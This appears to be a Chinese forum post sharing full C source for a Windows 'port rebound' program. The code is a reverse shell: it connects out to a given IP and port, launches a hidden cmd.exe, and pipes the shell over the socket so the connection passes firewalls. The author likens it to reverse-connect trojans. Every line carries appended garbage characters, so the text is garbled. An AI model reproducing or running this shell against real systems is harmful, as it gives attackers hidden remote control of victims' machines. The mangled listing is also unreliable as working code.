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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '':MhRb  
s:K'I7_#@  
/* ============================== k:F{U^!p|  
Rebound port in Windows NT [sNvCE$\]  
By wind,2006/7 @#=yC.s  
===============================*/ NTo[di\_  
#include <A(Bq'eQM  
#include !k Heslvi  
pAws{3(Q  
#pragma comment(lib,"wsock32.lib") 2w}l!'ue  
GG`j9"t4  
void OutputShell(); _+j#.o>  
SOCKET sClient; M._;3_)%/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; klAvi%^jE  
'|<r[K  
void main(int argc,char **argv) .}5qi;CA  
{ ~h:(9q8NLC  
WSADATA stWsaData; v@4vitbG9  
int nRet; :='I>Gn  
SOCKADDR_IN stSaiClient,stSaiServer; yl&s!I  
JEs@ky?{z  
if(argc != 3)  {FX]1:  
{ BRa9j:_b  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^xgqs $`7  
return; Vr@tSc&  
} gFd*\Dk  
|c>.xt~  
WSAStartup(MAKEWORD(2,2),&stWsaData); c^rWS&)P  
Zoy)2E{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 18Vn[}]"  
VsJKxa4  
stSaiClient.sin_family = AF_INET; ==UYjbuU  
stSaiClient.sin_port = htons(0); p~NHf\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ][KlEE>W2  
(_]!}N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _e/Bg~  
{ { 1_ <\ ~J  
printf("Bind Socket Failed!\n");  Xr:s-L  
return; :dQRrmM  
} P4zwTEk`  
^f57qc3nF  
stSaiServer.sin_family = AF_INET; [mQdc?n\  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y/5(BK)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MsZx 0]  
$o0.oY#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IT7],pM  
{ FUf.3@}  
printf("Connect Error!"); 9)8Cf% <(  
return; &6vWz6!P  
} +$Y*1{hyOo  
OutputShell(); h$}PQ   
} 1]9w9! j  
eY-h<K)y  
void OutputShell() R={#V8D~  
{ f5p/cUzX  
char szBuff[1024]; w5^k84vye  
SECURITY_ATTRIBUTES stSecurityAttributes; <5^m`F5  
OSVERSIONINFO stOsversionInfo; PD^G$LT  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y9gw ('\w  
STARTUPINFO stStartupInfo; jABFdNjri  
char *szShell; SME9hS$4  
PROCESS_INFORMATION stProcessInformation; =j{tFxJ  
unsigned long lBytesRead; 4l{$dtKbI  
93Zij<bH?e  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =@pD>h/~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BY&{fWUo  
stSecurityAttributes.lpSecurityDescriptor = 0; cly}[<w!  
stSecurityAttributes.bInheritHandle = TRUE; 7#W]Qj  
ZyDNtX%  
~o/k?l  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SQhVdYU1'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7r50y>  
yj@k0TWT$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6)p8BUft  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S>>wf:\ c  
stStartupInfo.wShowWindow = SW_HIDE; wdAKU+tM  
stStartupInfo.hStdInput = hReadPipe; }O>4XFj  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4lWqQVx  
VdGVEDwz  
GetVersionEx(&stOsversionInfo); K a& 2>F  
PO8Z2"WI  
switch(stOsversionInfo.dwPlatformId) Z#B}#*<C  
{ {%CW!Rc  
case 1: E#_2t)20  
szShell = "command.com"; x=IZ0@p  
break; d:w/{m% #  
default: gS'7:UH,  
szShell = "cmd.exe"; >~Xe` }'  
break; wV iTMlq  
} M.6uWwzQR  
-KV,l  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @0s' (  
_"Z?O)d*  
send(sClient,szMsg,77,0); NuSdN> 8ll  
while(1) G<=I\T'g;  
{ Y<u%J#'[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /Jc{aw  
if(lBytesRead) 8nu!5 3  
{ Pc=ei  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7K "1^  
send(sClient,szBuff,lBytesRead,0); BC/5bA  
} J4"A6`O  
else ap'La|9t>  
{ rAAx]nQ@  
lBytesRead=recv(sClient,szBuff,1024,0); deArH5&!  
if(lBytesRead<=0) break; rdd-W>+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~nhO*bs}7{  
} j~1K(=Ng  
} !yPy@eP~  
OdZ/\_Z  
return; %qz-b.  
}
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